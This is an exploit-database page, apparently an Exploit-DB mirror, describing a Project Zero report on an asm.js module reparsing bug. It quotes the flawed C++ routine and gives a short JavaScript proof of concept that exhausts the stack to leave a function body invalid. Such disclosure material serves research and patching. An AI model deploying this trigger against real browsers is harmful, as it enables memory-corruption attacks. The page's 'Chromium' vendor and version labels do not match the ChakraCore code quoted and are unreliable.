header-logo
Suggest Exploit
vendor:
Chromium
by:
Project Zero
8,8
CVSS
HIGH
Stack Exhaustion
119
CWE
Product Name: Chromium
Affected Version From: Chromium version 59.0.3071.86
Affected Version To: Chromium version 59.0.3071.86
Patch Exists: Yes
Related CWE: N/A
CPE: a:google:chromium
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2017

Chromium Asm.js Module Reparsing Vulnerability

This vulnerability is related to the Chromium browser. It occurs when the JavascriptFunction::ReparseAsmJsModule() function is used to re-parse an asmjs module. The function resets the function body and then re-parses it, but it does not consider that the functionInfo->Parse(functionRef) may throw an exception. This can be exploited by exhausting the stack and then calling the Module() function with an argument, which will cause an exception to be thrown and the function body to remain reseted.

Mitigation:

The vulnerability can be mitigated by ensuring that the functionInfo->Parse(functionRef) is handled properly and that any exceptions are caught.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1327

Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
    ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
    Assert(functionInfo);
    functionInfo->GetFunctionBody()->AddDeferParseAttribute();
    functionInfo->GetFunctionBody()->ResetEntryPoint();
    functionInfo->GetFunctionBody()->ResetInParams();

    FunctionBody * funcBody = functionInfo->Parse(functionRef);

#if ENABLE_PROFILE_INFO
    // This is the first call to the function, ensure dynamic profile info
    funcBody->EnsureDynamicProfileInfo();
#endif

    (*functionRef)->UpdateUndeferredBody(funcBody);
}

First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).

We can make it throw an exception simply by exhausting the stack. 

PoC:
-->

function Module() {
    'use asm';

    function f() {
    }

    return f;
}

function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}

recur();